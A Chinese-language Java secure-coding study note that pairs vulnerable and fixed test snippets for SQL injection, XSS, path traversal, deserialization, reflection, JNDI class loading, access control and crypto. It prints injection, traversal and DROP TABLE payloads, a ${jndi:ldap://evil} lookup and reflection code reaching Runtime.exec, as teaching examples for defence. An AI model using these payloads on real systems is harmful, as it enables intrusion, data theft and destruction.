这是 java基础 大纲中”十六、代码安全基础 ⭐”的详细页面,也是Java基础学习的终章
学完前面所有内容,现在用安全的视角把它们全部串起来
作为安全从业者,你会发现:之前学的每一个Java特性,都可能成为攻击面
反射能绕过访问控制、序列化能RCE、字符串拼接能注入——这一篇就是把这些”暗面”全部摊开讲清楚
一、输入验证 ⭐
核心原则:永远不要信任用户输入
用户输入就像快递包裹——你不拆开检查,里面可能是炸弹
所有从外部来的数据都算”用户输入”:HTTP参数、请求头、Cookie、文件上传、数据库读出来的数据(可能被污染过)
白名单 vs 黑名单
策略
做法
安全性
举例
白名单 (推荐)
只允许已知合法的
⭐ 更安全
只允许数字和字母
黑名单 (不推荐)
禁止已知危险的
容易被绕过
禁止 <script> 标签
黑名单的问题:你永远列不完所有攻击payload。比如禁了 <script>,攻击者用 <ScRiPt>、<img onerror=...> 照样绕过
口诀:白名单是”非请勿入”,黑名单是”抓到坏人才拦”——你觉得哪个更安全?
SQL注入 ⭐⭐⭐ (最经典的注入攻击)
原理:把用户输入直接拼进SQL语句,攻击者通过构造特殊输入改变SQL的逻辑
这跟你在 String类与字符串操作 里学的字符串拼接直接相关——拼接就是原罪
漏洞代码:字符串拼接SQL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @Test public void testSqlInjectionVulnerable () {String userInput = "admin" ;String sql = "SELECT * FROM user WHERE name='" + userInput + "' AND password='" + "123" + "'" ;System.out.println("正常SQL:" + sql); String maliciousInput = "' OR 1=1 -- " ;String injectedSql = "SELECT * FROM user WHERE name='" + maliciousInput + "' AND password='" + "任意值" + "'" ;System.out.println("注入后SQL:" + injectedSql); }
攻击原理拆解
' 闭合了前面的引号
OR 1=1 让WHERE条件永远为真
-- 是SQL的注释符,把后面的密码校验全部注释掉
这就是为什么一条 ' OR 1=1 -- 就能绕过登录——SQL的语义被改变了
更危险的payload
1 2 3 ' ; DROP TABLE user ; -- 删表 ' UNION SELECT * FROM admin; -- 拖库 ' AND 1=2 UNION SELECT password FROM user WHERE name='admin' ; -- 偷密码
修复:PreparedStatement 参数化查询 ⭐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @Test public void testSqlInjectionFixed () throws Exception {String userInput = "' OR 1=1 -- " ;String sql = "SELECT * FROM user WHERE name = ? AND password = ?" ;System.out.println("参数化SQL模板:" + sql); System.out.println("参数1(会被自动转义):" + userInput); }
为什么 PreparedStatement 能防注入?
拼接SQL = 把数据和代码混在一起 → 数据可以伪装成代码
PreparedStatement = 数据和代码分离 → 数据永远是数据,不可能变成SQL指令
这个思想在安全领域叫 **”代码与数据分离”**,是防注入的根本原则
XSS(跨站脚本攻击)⭐⭐
原理:把用户输入直接输出到HTML页面,攻击者注入JavaScript代码
漏洞代码:直接输出用户输入
1 2 3 4 5 6 7 8 9 10 11 @Test public void testXssVulnerable () {String userInput = "<script>alert('XSS!')</script>" ;String html = "<div>欢迎你," + userInput + "</div>" ;System.out.println("生成的HTML:" + html); }
修复:HTML实体转义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 @Test public void testXssFixed () {String userInput = "<script>alert('XSS!')</script>" ;String escaped = userInput .replace("&" , "&" ) .replace("<" , "<" ) .replace(">" , ">" ) .replace("\"" , """ ) .replace("'" , "'" ); String html = "<div>欢迎你," + escaped + "</div>" ;System.out.println("转义后的HTML:" + html); }
XSS的三种类型 (了解)
类型
存储位置
触发方式
危害
反射型
URL参数
诱导用户点击恶意链接
一次性
存储型
数据库
其他用户访问页面就中招
⭐ 最危险,影响所有用户
DOM型
前端JS
前端直接操作DOM
不经过服务器
输入验证最佳实践
用 正则表达式 (如果你已经学到了)做白名单校验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @Test public void testInputValidation () {String username = "admin' OR 1=1" ;boolean isValid = username.matches("^[a-zA-Z0-9_]{3,20}$" );System.out.println("用户名合法吗?" + isValid); String email = "test@example.com" ;boolean isEmailValid = email.matches("^[\\w.+-]+@[\\w-]+\\.[a-zA-Z]{2,}$" );System.out.println("邮箱合法吗?" + isEmailValid); String id = "123; DROP TABLE user" ;boolean isIdValid = id.matches("^\\d+$" );System.out.println("ID合法吗?" + isIdValid); }
二、字符串安全 ⭐
这部分直接关联 String类与字符串操作 和 StringBuilder与StringBuffer
密码不要用 String 存,用 char[] ⭐
String 在Java里是不可变的(你在 String类与字符串操作 里学过),用完之后它还留在内存的字符串常量池里
你没法手动清除它——得等GC回收,但GC什么时候来你控制不了
这段时间里,如果攻击者能dump内存(比如通过堆转储、冷启动攻击),就能看到明文密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @Test public void testPasswordSecurity () {String passwordStr = "MySecretP@ss" ;passwordStr = null ; char [] passwordArr = {'M' , 'y' , 'S' , 'e' , 'c' , 'r' , 'e' , 't' };java.util.Arrays.fill(passwordArr, '\0' ); System.out.println("擦除后:" + new String (passwordArr)); }
字符串比较用 equals 不用 ==
这个你在 String类与字符串操作 里已经学过,这里从安全角度再强调一下
== 比较的是引用(内存地址),equals 比较的是内容
在做身份校验、权限判断时,用错了就是逻辑漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 @Test public void testStringComparison () {String roleFromDb = new String ("admin" ); String requiredRole = "admin" ;if (roleFromDb == requiredRole) { System.out.println("== 判断:是管理员" ); } else { System.out.println("== 判断:不是管理员" ); } if (requiredRole.equals(roleFromDb)) { System.out.println("equals 判断:是管理员" ); } String roleNull = null ;}
时序攻击:字符串比较的隐藏风险 ⭐
String.equals() 在发现第一个不同字符时就立即返回 false
攻击者可以通过测量响应时间来逐位猜测密码/Token——这就是时序攻击(Timing Attack)
防御:对敏感值的比较使用恒定时间比较
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @Test public void testTimingAttack () {String storedToken = "a1b2c3d4e5f6" ;String userToken = "a1b2c3d4xxxx" ;boolean result1 = storedToken.equals(userToken);boolean result2 = java.security.MessageDigest.isEqual( storedToken.getBytes(), userToken.getBytes()); System.out.println("equals结果:" + result1); System.out.println("恒定时间结果:" + result2); }
三、文件路径安全 ⭐
直接关联 IO流 (如果你已经学到了)里的 File 类操作
路径遍历漏洞(Path Traversal) ⭐⭐
攻击者通过 ../ 跳出预期目录,读取服务器上的敏感文件
这是红蓝对抗中非常常见的漏洞,很多文件下载接口都有这个问题
漏洞代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @Test public void testPathTraversalVulnerable () {String baseDir = "/var/www/uploads/" ;String userInput = "../../etc/passwd" ; String filePath = baseDir + userInput;System.out.println("拼接后的路径:" + filePath); }
修复:canonicalPath 校验 + 白名单 ⭐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 @Test public void testPathTraversalFixed () throws Exception {String baseDir = "/var/www/uploads/" ;String userInput = "../../etc/passwd" ;java.io.File file = new java .io.File(baseDir, userInput); String canonicalPath = file.getCanonicalPath();String canonicalBase = new java .io.File(baseDir).getCanonicalPath();System.out.println("请求路径:" + canonicalPath); System.out.println("允许的基目录:" + canonicalBase); if (!canonicalPath.startsWith(canonicalBase)) { System.out.println("⭐ 拦截!路径遍历攻击!文件不在允许的目录内" ); } else { System.out.println("路径合法,允许访问" ); } String fileName = "report.pdf" ;if (fileName.matches("^[a-zA-Z0-9._-]+$" ) && !fileName.contains(".." )) { System.out.println("文件名合法:" + fileName); } java.nio.file.Path base = java.nio.file.Paths.get(baseDir).normalize().toAbsolutePath(); java.nio.file.Path target = base.resolve(userInput).normalize().toAbsolutePath(); if (!target.startsWith(base)) { System.out.println("NIO方式拦截!路径越界" ); } }
路径遍历的绕过技巧 (知道这些才能更好防御)
绕过方式
payload
防御
基本遍历
../../etc/passwd
canonicalPath校验
URL编码
..%2F..%2Fetc/passwd
先URL解码再校验
双重URL编码
..%252F..%252F
多层解码
双写绕过
....//....//etc/passwd
canonicalPath(系统会解析)
Windows反斜杠
..\..\..\windows\
统一转正斜杠后校验
四、反序列化安全 ⭐⭐⭐
这是Java安全领域最臭名昭著的漏洞类型 ,没有之一
如果你将来做Java安全研究,反序列化漏洞是你绕不开的大山
基础原理在 序列化与Serializable (如果你已经学到了),这里从安全角度深入
序列化回顾
序列化:把Java对象变成字节流(方便存储/传输)
反序列化:把字节流恢复成Java对象
关键点:反序列化时会自动调用对象的 readObject() 方法
为什么反序列化能RCE?
如果一个类的 readObject() 方法里有危险操作(比如执行命令)
攻击者构造一个恶意的序列化数据,服务端反序列化时就会触发这些危险操作
就像你收到一个包裹,打开的一瞬间(反序列化)它就爆炸了(执行恶意代码)
漏洞代码示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @Test public void testDeserializationVulnerable () throws Exception {System.out.println("反序列化的危险在于:你不知道字节流里装的是什么对象" ); System.out.println("只要classpath里有可利用的类(gadget),就能RCE" ); }
真实世界的反序列化漏洞 ⭐
漏洞
影响
利用方式
Apache Commons Collections
几乎所有Java应用
利用Transformer链执行任意命令
WebLogic反序列化 (CVE-2015-4852等)
Oracle WebLogic Server
T3协议发送恶意序列化数据
Fastjson反序列化 (多个CVE)
使用Fastjson的Java应用
JSON中指定 @type 触发任意类实例化
Log4Shell (CVE-2021-44228)
使用Log4j2的Java应用
日志中注入 ${jndi:ldap://evil} 触发远程类加载
Shiro反序列化 (CVE-2016-4437)
Apache Shiro框架
RememberMe Cookie中的序列化数据
这些漏洞的核心链路都是:不可信数据 → 反序列化/实例化 → 触发危险操作
防御措施
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 @Test public void testDeserializationDefense () throws Exception {System.out.println("Java序列化魔术字节(Magic Bytes):AC ED 00 05" ); System.out.println("看到这个开头的数据流,就是Java序列化数据" ); System.out.println("红队技巧:在流量中搜 'aced0005' 或 base64 的 'rO0AB' 可以定位反序列化入口" ); }
重要概念:Gadget Chain(利用链)
反序列化漏洞的利用不是直接写恶意代码,而是把已有类的方法串成一条链
就像多米诺骨牌:A类的readObject调用B类的方法,B调用C,C最终执行命令
工具:ysoserial (Java反序列化利用工具),生成各种gadget chain的payload
五、反射安全 ⭐⭐
反射的基础知识在 反射机制 (如果你已经学到了),这里聚焦安全问题
setAccessible(true) 可以绕过所有访问控制 ⭐
你在 访问修饰符 里学的 private、protected,反射面前全是纸糊的
这就是为什么反射被叫做”暴力反射”——它能无视一切封装
攻击场景:读取/修改私有字段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 @Test public void testReflectionAttack () throws Exception {System.out.println("反射能做的事:" ); System.out.println("1. 读取任意private字段(偷密码、偷密钥)" ); System.out.println("2. 修改任意private字段(权限提升、篡改状态)" ); System.out.println("3. 调用任意private方法(触发内部逻辑)" ); System.out.println("4. 绕过单例模式(创建多个实例)" ); }
反射 + Runtime = 命令执行 ⭐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @Test public void testReflectionRCE () throws Exception {Class<?> runtimeClass = Class.forName("java.lang.Runtime" ); java.lang.reflect.Method getRuntime = runtimeClass.getMethod("getRuntime" ); Object runtime = getRuntime.invoke(null );java.lang.reflect.Method exec = runtimeClass.getMethod("exec" , String.class); System.out.println("通过反射拿到Runtime对象并执行命令——这就是Java RCE的常见姿势" ); System.out.println("很多反序列化漏洞的gadget chain最终都走到这一步" ); }
防御反射攻击
SecurityManager (JDK 17已弃用,了解即可):可以限制反射的使用
模块化系统 (JDK 9+ Module System):模块可以声明哪些包允许反射访问
代码层面 :不要把敏感逻辑仅依赖 private 来保护,要在业务逻辑层做校验
运行时防护 :RASP(Runtime Application Self-Protection)可以检测并拦截危险的反射调用
六、类加载安全 ⭐
类加载器和双亲委派机制简述
Java程序运行时,类不是一次性全部加载的,而是按需加载 ——用到哪个类才加载哪个
类加载器分三层,像一条”审批链”:
1 2 3 4 5 6 7 Bootstrap ClassLoader(最高级,加载JDK核心类:java.lang.String等) ↑ 委托Extension ClassLoader(加载JDK扩展类) ↑ 委托Application ClassLoader(加载你写的代码和第三方jar包) ↑ 委托自定义 ClassLoader(你自己写的加载器)
双亲委派的规则 :加载一个类时,先让上级(父加载器)尝试,上级加载不了才自己来
就像公司审批:基层员工发起请求 → 先给主管审 → 主管给总监审 → 总监能批就批了,批不了再退回来
双亲委派为什么能保护安全? ⭐
假设攻击者写了一个恶意的 java.lang.String,想替换掉JDK的String类
双亲委派机制下:加载 java.lang.String → 委托给 Bootstrap ClassLoader → Bootstrap 说”我有!用我的” → 攻击者的假String根本不会被加载
核心能力:防止核心类被替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @Test public void testClassLoaderSecurity () {System.out.println("String的加载器:" + String.class.getClassLoader()); System.out.println("当前类的加载器:" + getClass().getClassLoader()); }
攻击场景:自定义ClassLoader加载恶意类 ⭐
虽然双亲委派保护了核心类,但攻击者可以用自定义ClassLoader加载全新的恶意类
这在很多漏洞利用中很常见,比如通过JNDI注入远程加载恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @Test public void testMaliciousClassLoader () {System.out.println("JNDI注入攻击链:" ); System.out.println("恶意输入 → JNDI查找 → 远程类加载 → 恶意类实例化 → RCE" ); System.out.println("" ); System.out.println("防御措施:" ); System.out.println("1. 升级到安全版本(Log4j 2.17.0+)" ); System.out.println("2. JVM参数 -Dcom.sun.jndi.ldap.object.trustURLCodebase=false" ); System.out.println("3. 网络层面禁止应用服务器外连不可信地址" ); }
防御:破坏远程类加载
JDK 8u191+ 默认禁止通过JNDI远程加载类(trustURLCodebase=false)
但低版本JDK仍然默认允许——这就是为什么JDK版本很重要
网络策略:限制应用服务器的出站连接,不让它主动连外网
七、权限控制 ⭐⭐
最小权限原则
这跟你在 访问修饰符 和 封装继承多态 里学的思想是一致的
代码层面:字段能 private 就不要 public
系统层面:账号能只读就不要给写权限
网络层面:端口能不开就不开
口诀:权限给得越多,攻击面越大
越权漏洞类型 ⭐⭐(这是你做越权检测的核心知识)
类型
描述
举例
水平越权
同级别用户之间互相访问数据
A用户看到B用户的订单(改订单ID就行)
垂直越权
低权限用户访问高权限功能
普通用户直接访问管理员接口
未授权访问
没登录就能访问需要登录的功能
接口没做登录校验
水平越权:最常见也最容易被忽略 ⭐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @Test public void testHorizontalPrivilegeEscalation () {System.out.println("水平越权防御核心:查数据时永远带上当前用户ID作为过滤条件" ); System.out.println("不要只靠前端隐藏按钮——攻击者会直接调API" ); }
垂直越权:接口层面的权限校验 ⭐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 @Test public void testVerticalPrivilegeEscalation () {System.out.println("垂直越权防御核心:每个接口都要校验当前用户是否有权限调用" ); System.out.println("常用方案:Spring Security、Shiro、自定义拦截器" ); }
越权检测思路 (你做红蓝对抗用得上)
准备两个不同权限的账号(A=普通用户,B=管理员)
用B登录,操作所有功能,抓取所有接口请求
把B的请求用A的Cookie/Token重放
如果A能成功调用B的接口 → 垂直越权
修改请求中的资源ID(订单号、用户ID等),如果能访问别人的数据 → 水平越权
参考你之前的笔记 越权漏洞深度分析 和 GIS越权检测
八、加密基础 ⭐
这里只讲Java层面需要了解的加密知识,更深入的数学原理参考 密码学数学(如果有)和 计算机数学基础
三种加密方式对比
类型
代表算法
特点
用途
对称加密
AES、DES
加密解密用同一个密钥,速度快
大量数据加密
非对称加密
RSA、ECC
公钥加密私钥解密(或反过来),速度慢
密钥交换、数字签名
哈希(摘要)
SHA-256、MD5
单向不可逆,不算”加密”而是”摘要”
密码存储、完整性校验
哈希:密码存储的正确方式 ⭐
密码绝对不能明文存储 ,也不能用可逆加密存——要用哈希
但光哈希还不够,还要加盐(Salt)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 @Test public void testHashing () throws Exception {java.security.MessageDigest md = java.security.MessageDigest.getInstance("SHA-256" ); String password = "123456" ;byte [] hash = md.digest(password.getBytes("UTF-8" ));StringBuilder sb = new StringBuilder ();for (byte b : hash) { sb.append(String.format("%02x" , b)); } System.out.println("SHA-256(123456):" + sb.toString()); java.security.SecureRandom random = new java .security.SecureRandom(); byte [] salt = new byte [16 ];random.nextBytes(salt); md.reset(); md.update(salt); byte [] saltedHash = md.digest(password.getBytes("UTF-8" ));StringBuilder sb2 = new StringBuilder ();for (byte b : saltedHash) { sb2.append(String.format("%02x" , b)); } System.out.println("加盐SHA-256:" + sb2.toString()); System.out.println("每次生成的盐不同,哈希值也不同 → 彩虹表失效" ); }
为什么要加盐?
不加盐:所有用户的 123456 哈希值都一样 → 攻击者用彩虹表批量破解
加盐:每个用户的盐不同,即使密码一样,哈希值也不同 → 只能逐个爆破
为什么要用慢哈希(BCrypt/PBKDF2)?
SHA-256太快了——一块GPU每秒能算几十亿次
BCrypt/PBKDF2 故意设计得很慢(可以调整迭代次数),让暴力破解成本极高
对称加密:AES ⭐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 @Test public void testAES () throws Exception {String plainText = "这是机密信息:管理员密码是admin123" ;javax.crypto.KeyGenerator keyGen = javax.crypto.KeyGenerator.getInstance("AES" ); keyGen.init(256 ); javax.crypto.SecretKey secretKey = keyGen.generateKey(); javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance("AES/CBC/PKCS5Padding" ); cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey); byte [] iv = cipher.getIV(); byte [] encrypted = cipher.doFinal(plainText.getBytes("UTF-8" ));System.out.println("明文:" + plainText); System.out.println("密文(Base64):" + java.util.Base64.getEncoder().encodeToString(encrypted)); System.out.println("密文是一堆乱码字节,人看不懂 → 这就是加密的目的" ); javax.crypto.Cipher decCipher = javax.crypto.Cipher.getInstance("AES/CBC/PKCS5Padding" ); decCipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, new javax .crypto.spec.IvParameterSpec(iv)); byte [] decrypted = decCipher.doFinal(encrypted);System.out.println("解密后:" + new String (decrypted, "UTF-8" )); }
常见加密误区 (代码审计时要注意)
误区
为什么有问题
正确做法
用 MD5 存密码
MD5已被破解,碰撞攻击成熟
用 BCrypt/PBKDF2
用 DES 加密
DES密钥只有56位,早就能暴力破解了
用 AES-256
AES用ECB模式
相同明文块产生相同密文
用 CBC 或 GCM 模式
密钥硬编码
反编译就能看到密钥
用密钥管理服务(KMS)
用 Random 生成密钥
Random 是伪随机,可预测
用 SecureRandom
自己发明加密算法
密码学比你想象的难得多
用成熟的标准算法
九、安全编码Checklist ⭐
这是Java基础学习的总结性清单,每一条都对应你之前学过的知识点
输入验证
[ ] 所有外部输入都做了验证(白名单优先)→ String类与字符串操作 、正则表达式
[ ] SQL查询使用 PreparedStatement,禁止字符串拼接
[ ] HTML输出做了转义,防止XSS
[ ] 文件路径做了 canonicalPath 校验,防止路径遍历 → IO流
认证与权限
[ ] 每个接口都校验了登录态(未授权访问防护)
[ ] 每个接口都校验了用户角色/权限(垂直越权防护)→ 访问修饰符 、封装继承多态
[ ] 查数据时带上当前用户ID过滤(水平越权防护)→ 越权漏洞深度分析
[ ] 敏感操作做了二次确认(比如修改密码要输旧密码)
数据安全
[ ] 密码用 BCrypt/PBKDF2 存储,不用 MD5/SHA 裸哈希 → 计算机数学基础
[ ] 密码在内存中用 char[] 不用 String → String类与字符串操作
[ ] 加密使用 AES-256 或更强的算法,不用 DES/3DES
[ ] 密钥不硬编码在代码中,使用密钥管理服务
[ ] 随机数用 SecureRandom 不用 Random
序列化安全
[ ] 尽量不使用Java原生序列化,改用JSON → 序列化与Serializable
[ ] 如果必须用,配置 ObjectInputFilter 白名单
[ ] 关注依赖库的反序列化漏洞,及时升级
[ ] Fastjson 禁用 autoType / 升级到安全版本
反射与类加载
[ ] 不要对不可信输入做反射操作 → 反射机制
[ ] 了解并确保双亲委派机制正常工作
[ ] JNDI相关:设置 trustURLCodebase=false
[ ] 限制应用服务器的出站网络连接
日志与异常
[ ] 日志中不记录敏感信息(密码、身份证号、银行卡号)
[ ] 异常信息不直接返回给用户(泄露技术栈和内部路径)→ 异常体系
[ ] 用户看到的是友好的错误提示,不是堆栈跟踪
依赖安全
[ ] 定期检查第三方依赖的CVE漏洞 → Maven基础
[ ] 使用工具扫描:OWASP Dependency-Check、Snyk
[ ] 不要引入来路不明的jar包
最后一句话
安全不是一个独立的模块,而是渗透在每一行代码中的思维方式
你学过的每一个Java特性——String类与字符串操作 、异常体系 、Collection体系 、反射机制 、封装继承多态 ——都有它的安全面
写代码时多想一步:”如果这个输入是攻击者控制的呢?”——这就是安全编码的起点